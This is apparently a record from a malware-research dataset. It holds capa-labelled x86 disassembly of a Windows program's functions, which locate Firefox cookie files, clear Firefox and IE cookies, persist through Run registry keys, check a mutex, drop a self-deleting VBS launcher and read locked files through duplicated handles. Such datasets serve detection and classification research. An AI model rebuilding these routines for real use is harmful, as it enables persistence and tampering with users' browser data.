joyce8/EMBER2024-capa huggingface dataset:
Function at 0xb2bd72
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.00b220df
lea ecx, [ebp - 0x18]
call fcn.00b220df
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00b22093
push eax
push 0xb869c4
call fcn.00b5c12a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00b252fd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00b21fe2
lea ecx, [ebp - 0x48]
call fcn.00b21fd8
lea ecx, [ebp - 0x60]
call fcn.00b21fd8
lea eax, [ebp - 0x1b8]
push eax
push 0xb86984
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.00b26c59
pop ecx
mov ecx, eax
call fcn.00b21fab
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00b21fd8
cmp esi, 0xffffffff
jne 0xb2bebc
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00b22093
call fcn.00b2c213
add esp, 0x18
jmp 0xb2bef0
test byte [ebp - 0x1b8], 0x10
je 0xb2bebc
lea eax, [ebp - 0x18c]
push 0xb86ae4
push eax
call fcn.00b5fd50
pop ecx
pop ecx
test eax, eax
je 0xb2bebc
lea eax, [ebp - 0x18c]
push 0xb86ae8
push eax
call fcn.00b5fd50
pop ecx
pop ecx
test eax, eax
je 0xb2bebc
lea eax, [ebp - 0x18c]
push 0xb86b4c
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00b26c59
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00b26383
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00b21fe2
lea ecx, [ebp - 0x48]
call fcn.00b21fd8
lea ecx, [ebp - 0x78]
call fcn.00b21fd8
lea ecx, [ebp - 0x30]
call fcn.00b21fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0xb2bf15
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
jne 0xb2bf0a
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0xb2be26
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00b22093
call fcn.00b2c213
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00b21fd8
lea ecx, [ebp - 0x30]
call fcn.00b21fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor bl, bl
jmp 0xb2bef2
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0xb2be14
Function at 0xb2bf24
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.00b220df
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, closesocket
lea ecx, [ebp - 0x30]
xor ebx, ebx
call fcn.00b335e1
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.00b21fe2
lea ecx, [ebp - 0x30]
call fcn.00b21fd8
mov edx, 0xb860b4
lea ecx, [ebp - 0x18]
call fcn.00b25b05
test al, al
je 0xb2bf91
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00b22093
call fcn.00b2c213
mov bl, 1
jmp 0xb2c034
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00b21fab
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0xb2bf76
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00b22093
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.00b3bcef
mov ecx, eax
call fcn.00b21f04
mov ecx, eax
call fcn.00b3c322
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.00b21f09
lea ecx, [ebp - 0x30]
call fcn.00b21fd8
test esi, esi
je 0xb2c00a
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0xb2bf80
push ebx
push 0xb86c00
mov ecx, 0xb95a00
call fcn.00b26b1c
test eax, eax
je 0xb2c037
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00b22093
call fcn.00b2c213
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00b21fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xb2c19d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
imul eax, edx, 0xea60
push ebx
push esi
xor esi, esi
mov byte [0xb92b19], cl
push edi
mov dword [0xb92b28], eax
test cl, cl
je 0xb2c1fa
mov edi, 0xb86c58
mov dword [ebp - 4], esi
mov ebx, 0xb952f0
push edi
mov ecx, ebx
call fcn.00b21fab
mov edx, eax
call fcn.00b3353a
pop ecx
test al, al
je 0xb2c1fa
lea eax, [ebp - 4]
mov ecx, ebx
push eax
push edi
call fcn.00b21fab
mov edx, eax
call fcn.00b33584
pop ecx
pop ecx
cmp dword [ebp - 4], esi
je 0xb2c1fa
xor al, al
jmp 0xb2c20c
push esi
push esi
push esi
push 0xb2c047
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xb2c388
Capabilities:
Check if file exists
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push esi
push edi
push str.AppData
mov esi, ecx
call fcn.00b5c11f
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00b2417e
push str.MozillaFirefoxProfiles_
lea ecx, [ebp - 0x18]
call fcn.00b2908d
lea eax, [ebp - 0x2e0]
push eax
push 0xb865f8
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.00b29196
pop ecx
mov ecx, eax
call fcn.00b21f04
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea ecx, [ebp - 0x60]
mov edi, eax
call fcn.00b21f09
cmp edi, 0xffffffff
jne 0xb2c3fc
push 0xb86478
mov ecx, esi
call fcn.00b2417e
jmp 0xb2c4d2
lea ecx, [ebp - 0x48]
call fcn.00b220df
jmp 0xb2c4a1
test byte [ebp - 0x2e0], 0x10
je 0xb2c4a1
lea eax, [ebp - 0x2b4]
push 0xb86538
push eax
call fcn.00b5f9a4
pop ecx
pop ecx
test eax, eax
je 0xb2c4a1
lea eax, [ebp - 0x2b4]
push 0xb8661c
push eax
call fcn.00b5f9a4
pop ecx
pop ecx
test eax, eax
je 0xb2c4a1
push str.cookies.sqlite
lea ecx, [ebp - 0x90]
call fcn.00b2417e
push eax
lea eax, [ebp - 0x2b4]
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00b29196
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00b22fa5
pop ecx
lea ecx, [ebp - 0x78]
call fcn.00b21f09
lea ecx, [ebp - 0x90]
call fcn.00b21f09
lea ecx, [ebp - 0x30]
call fcn.00b21f04
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0xb2c4e2
lea ecx, [ebp - 0x30]
call fcn.00b21f09
lea eax, [ebp - 0x2e0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0xb2c409
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0xb86478
mov ecx, esi
call fcn.00b2417e
lea ecx, [ebp - 0x48]
call fcn.00b21fd8
lea ecx, [ebp - 0x18]
call fcn.00b21f09
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.00b23262
lea ecx, [ebp - 0x30]
call fcn.00b21f09
jmp 0xb2c4ca
Function at 0xb2cd48
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x24
cmp byte [0xb92b33], 1
push ebx
mov bh, byte [0xb92b31]
mov bl, byte [0xb92b30]
push ebp
push esi
push edi
mov edi, 0xb85e84
mov ebp, 0xb952d8
jne 0xb2cdaa
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.00b2b9b7
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00b23014
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, closesocket
call fcn.00b3384f
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00b21f09
cmp bl, 1
jne 0xb2cdeb
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.00b2b9b7
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00b23014
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, closesocket
call fcn.00b3384f
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00b21f09
cmp bh, 1
jne 0xb2ce2c
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.00b2b9b7
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00b23014
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, closesocket
call fcn.00b3384f
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00b21f09
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0xb2d0a4
Capabilities:
Check mutex on windows

Disassembly:
mov ecx, 0xb95320
call fcn.00b21fab
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0xb92d44], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
mov eax, ecx
ret
Function at 0xb2d83a
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.00b3288b
mov esi, 0xb95338
mov ecx, esi
call fcn.00b2247c
push eax
mov ecx, esi
call fcn.00b21fab
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0xb952f0
call fcn.00b21fab
mov edx, eax
call fcn.00b33733
add esp, 0x14
xor edi, edi
test al, al
jne 0xb2d89a
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.00b3ba09
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00b3bcef
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00b23014
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00b21f09
lea ecx, [ebp - 0x48]
call fcn.00b21fd8
lea eax, [ebp - 0x78]
push eax
push 0xb86618
push 0xb86f98
call fcn.00b5c11f
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00b2417e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00b23014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00b2431d
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00b21f09
lea ecx, [ebp - 0x30]
call fcn.00b21f09
lea ecx, [ebp - 0x18]
call fcn.00b21f86
push 0xb87140
push 0xb87144
lea ecx, [ebp - 0xc0]
call fcn.00b2417e
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.00b2417e
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00b23014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00b22fa5
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00b23014
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00b2325d
lea ecx, [ebp - 0x48]
call fcn.00b21f09
lea ecx, [ebp - 0x30]
call fcn.00b21f09
lea ecx, [ebp - 0x90]
call fcn.00b21f09
lea ecx, [ebp - 0xa8]
call fcn.00b21f09
lea ecx, [ebp - 0xc0]
call fcn.00b21f09
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.00b2908d
push edi
lea ecx, [ebp - 0x60]
call fcn.00b21f04
push eax
lea ecx, [ebp - 0x18]
call fcn.00b2247c
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00b21f04
mov edx, esi
mov ecx, eax
call fcn.00b3c482
pop ecx
pop ecx
test al, al
je 0xb2da05
push edi
mov eax, 0xb86478
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00b21f04
push eax
push 0xb86118
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0xb2da05
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00b21f09
lea ecx, [ebp - 0x60]
call fcn.00b21f09
lea ecx, [ebp - 0x78]
call fcn.00b21f09
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xb2f938
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x388
push ebp
push esi
push edi
mov edi, ecx
call fcn.00b220df
call fcn.00b3c048
push 0
push 2
mov byte [0xb94af4], al
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0xb2fb46
lea eax, [esp + 0x160]
mov dword [esp + 0x160], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0xb2fb3f
mov ebp, 0xb874d0
lea eax, [esp + 0x184]
push eax
lea ecx, [esp + 0x14]
call fcn.00b2417e
mov ecx, dword [esp + 0x168]
push 0xb874cc
call fcn.00b3c076
movzx edx, al
lea ecx, [esp + 0x14c]
call fcn.00b3bc1f
mov edx, dword [esp + 0x16c]
lea ecx, [esp + 0x134]
push eax
push ebp
call fcn.00b3bc1f
mov edx, dword [esp + 0x174]
lea ecx, [esp + 0x124]
push eax
push ebp
call fcn.00b3c26e
mov edx, eax
lea ecx, [esp + 0x114]
call fcn.00b3bdaf
push eax
push ebp
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x104]
call fcn.00b3bdaf
push eax
mov edx, edi
lea ecx, [esp + 0xf0]
call fcn.00b26362
pop ecx
mov edx, eax
lea ecx, [esp + 0xd4]
call fcn.00b26383
pop ecx
mov edx, eax
lea ecx, [esp + 0xb8]
call fcn.00b22ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x9c]
call fcn.00b26383
pop ecx
mov edx, eax
lea ecx, [esp + 0x80]
call fcn.00b22ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x64]
call fcn.00b26383
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00b22ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00b26383
pop ecx
push eax
mov ecx, edi
call fcn.00b21fe2
lea ecx, [esp + 0x28]
call fcn.00b21fd8
lea ecx, [esp + 0x40]
call fcn.00b21fd8
lea ecx, [esp + 0x58]
call fcn.00b21fd8
lea ecx, [esp + 0x70]
call fcn.00b21fd8
lea ecx, [esp + 0x88]
call fcn.00b21fd8
lea ecx, [esp + 0xa0]
call fcn.00b21fd8
lea ecx, [esp + 0xb8]
call fcn.00b21fd8
lea ecx, [esp + 0xd0]
call fcn.00b21fd8
lea ecx, [esp + 0xe8]
call fcn.00b21fd8
lea ecx, [esp + 0x100]
call fcn.00b21fd8
lea ecx, [esp + 0x118]
call fcn.00b21f09
lea ecx, [esp + 0x130]
call fcn.00b21fd8
lea ecx, [esp + 0x148]
call fcn.00b21fd8
lea ecx, [esp + 0x10]
call fcn.00b21f09
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0xb2f99c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0x388
ret
Function at 0xb308f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x30
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x38], ebx
je 0xb30a27
cmp byte [edi + 0x3d], bl
je 0xb30a27
call fcn.00b22e9d
mov esi, eax
mov ecx, edi
mov eax, dword [edi]
push esi
call dword [eax + 0xc]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], esi
push eax
call fcn.00b2df38
pop ecx
pop ecx
test al, al
je 0xb30946
xor al, al
jmp 0xb30a29
push ebx
push 8
lea ecx, [esp + 0x30]
call fcn.00b2520c
lea ebp, [edi + 0x40]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x30]
call fcn.00b224bc
mov ecx, eax
call fcn.00b2339b
lea ecx, [esp + 0x2c]
mov esi, eax
call fcn.00b2247c
add esi, eax
lea ecx, [esp + 0x2c]
push esi
lea eax, [esp + 0x1c]
push eax
call fcn.00b224bc
mov ecx, eax
call fcn.00b2339b
mov ecx, dword [edi + 0x38]
push eax
push ebp
call fcn.00b2e2bc
sub eax, ebx
je 0xb309ae
sub eax, 1
je 0xb309b1
dec eax
sub eax, 1
jne 0xb30a1a
inc eax
jmp 0xb30a18
mov byte [edi + 0x3d], bl
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x2c]
call fcn.00b224bc
mov ecx, eax
call fcn.00b2339b
mov esi, dword [esp + 0x1c]
sub esi, eax
je 0xb309f6
push dword [edi + 0x4c]
lea eax, [esp + 0x28]
push esi
push 1
push eax
lea ecx, [esp + 0x38]
call fcn.00b224bc
mov ecx, eax
call fcn.00b2339b
push eax
call fcn.00b6055c
add esp, 0x10
cmp esi, eax
jne 0xb30a16
cmp byte [edi + 0x3d], bl
je 0xb30a14
test esi, esi
jne 0xb30955
push ebx
push 8
lea ecx, [esp + 0x30]
call fcn.00b22a51
jmp 0xb30955
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [esp + 0x28]
call fcn.00b21fd8
mov al, bl
jmp 0xb30a29
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xb3198a
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x28
push ebx
mov ebx, ecx
push ebp
push esi
push edi
mov esi, dword [ebx]
mov edx, dword [ebx + 0x3c]
movzx ebp, word [esi + 0x14]
add ebp, esi
mov eax, dword [ebp + 0x20]
mov ecx, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x24], eax
call fcn.00b317c1
lea edx, [ebp + 0x18]
mov dword [esp + 0x28], eax
mov ecx, ebx
call fcn.00b318ce
mov ebx, dword [ebp + 0x3c]
mov edi, eax
and dword [esp + 0x34], 0
xor eax, eax
inc eax
mov dword [esp + 0x2c], edi
add ebp, 0x40
mov dword [esp + 0x30], ebx
cmp ax, word [esi + 6]
mov esi, ecx
mov dword [esp + 0x20], eax
jae 0xb31a9c
mov eax, dword [ebp + 8]
mov ecx, eax
mov edx, dword [esi + 0x3c]
mov dword [esp + 0x1c], eax
call fcn.00b317c1
mov edx, ebp
mov dword [esp + 0x14], eax
mov ecx, esi
call fcn.00b318ce
mov edx, dword [esp + 0x10]
mov ecx, eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x18], ecx
cmp dword [esp + 0x28], eax
je 0xb31a53
lea ecx, [edi + edx]
cmp ecx, eax
ja 0xb31a4f
lea edx, [esp + 0x24]
mov ecx, esi
call fcn.00b318ed
test eax, eax
je 0xb31ab9
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov ebx, dword [ebp + 0x24]
mov dword [esp + 0x10], edx
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], eax
jmp 0xb31a77
mov ecx, dword [esp + 0x18]
mov eax, dword [ebp + 0x24]
mov edi, 0x2000000
test edi, eax
je 0xb31a67
test edi, ebx
je 0xb31a67
or ebx, eax
jmp 0xb31a6f
or ebx, eax
and ebx, 0xfdffffff
mov edi, ecx
sub edi, edx
add edi, dword [esp + 0x1c]
mov eax, dword [esi]
add ebp, 0x28
mov ecx, dword [esp + 0x20]
inc ecx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], edi
movzx eax, word [eax + 6]
mov dword [esp + 0x20], ecx
cmp ecx, eax
jl 0xb319e6
xor eax, eax
inc eax
lea edx, [esp + 0x24]
mov dword [esp + 0x34], eax
mov ecx, esi
call fcn.00b318ed
neg eax
sbb eax, eax
neg eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
xor eax, eax
jmp 0xb31ab1
Function at 0xb3288b
Capabilities:
Terminate process

Disassembly:
push ebx
push 0
push dword [0xb92d64]
mov byte [0xb92d4b], 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xffffffffffffffff
push dword [0xb92d64]
test eax, eax
setne bl
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov al, bl
pop ebx
ret
Function at 0xb3330d
Capabilities:
Get file size
Read file via mapping

Disassembly:
sub esp, 0x218
cmp dword [0xb94b28], 0
mov eax, ecx
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
jne 0xb3332e
push 0xfffffffffffffffc
pop eax
jmp 0xb33434
call fcn.00b334ad
test eax, eax
jne 0xb3333f
or eax, 0xffffffff
jmp 0xb33434
push esi
push eax
push 0
push 0x440
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0xb3335c
push 0xfffffffffffffffe
pop eax
jmp 0xb33433
push ebp
push edi
mov edi, 0x400
push edi
mov dword [esp + 0x10], edi
call fcn.00b5bda0
jmp 0xb33391
push ebp
cmp eax, 0xc0000004
jne 0xb3343b
call fcn.00b5bd9b
mov eax, dword [esp + 0x10]
add eax, edi
push eax
mov dword [esp + 0x14], eax
call fcn.00b5bda0
pop ecx
pop ecx
mov ebp, eax
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push ebp
push 0x33
push esi
call dword [0xb94b24]
test eax, eax
js 0xb3336f
xor edi, edi
push ebx
cmp dword [ebp], edi
jbe 0xb33426
lea ebx, [ebp + 8]
push 2
push 0
push 0
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [ebx]
push esi
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0xb3341d
push 0x208
lea eax, [esp + 0x24]
push 0
push eax
call fcn.00b56f10
add esp, 0xc
lea eax, [esp + 0x20]
push 0
push 0x104
push eax
push dword [esp + 0x20]
call dword [0xb94b28]
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x1c]
call fcn.00b5f9a4
pop ecx
pop ecx
test eax, eax
je 0xb33446
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
add ebx, 0x1c
cmp edi, dword [ebp]
jb 0xb333b6
push ebp
call fcn.00b5bd9b
pop ecx
push 0xfffffffffffffffd
pop eax
pop ebx
pop edi
pop ebp
pop esi
add esp, 0x218
ret
call fcn.00b5bd9b
xor eax, eax
pop ecx
inc eax
jmp 0xb33431
xor edi, edi
push edi
push edi
push edi
push 2
push edi
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push edi
push edi
push edi
mov ebx, eax
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push edi
push dword [esp + 0x18]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.00b5bda0
mov ecx, dword [esp + 0x20]
push edi
push esi
push eax
mov dword [ecx], eax
call fcn.00b56990
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [esp + 0x14]
call ebx
push ebp
call fcn.00b5bd9b
pop ecx
mov eax, edi
jmp 0xb33430

Function at 0xb3353a
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xb3357d
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
jmp 0xb3357f
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xb33584
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xb335db
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0xb335dd
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0xb335e1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
xor esi, esi
mov edi, ecx
push esi
push dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xb33642
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x408]
push eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, edi
test esi, esi
jne 0xb33644
lea eax, [ebp - 0x408]
push eax
jmp 0xb33649
mov ecx, edi
push 0xb860b4
call fcn.00b22093
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0xb33656
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
push esi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
push 0
push dword [ebp + 8]
mov esi, ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xb336af
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x808]
push eax
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x808]
push eax
jmp 0xb336b4
push 0xb86478
mov ecx, esi
call fcn.00b2417e
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0xb336c2
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov edi, ecx
push eax
xor ecx, ecx
lea eax, [ebp - 8]
push ecx
push eax
push ecx
push dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 4], ecx
push ebx
mov esi, 0xb860b4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0xb33722
cmp dword [ebp - 4], eax
jbe 0xb33722
push dword [ebp - 4]
call fcn.00b5bda0
push dword [ebp - 4]
mov esi, eax
push 0
push esi
call fcn.00b56f10
add esp, 0x10
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
mov ecx, edi
call fcn.00b2417e
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret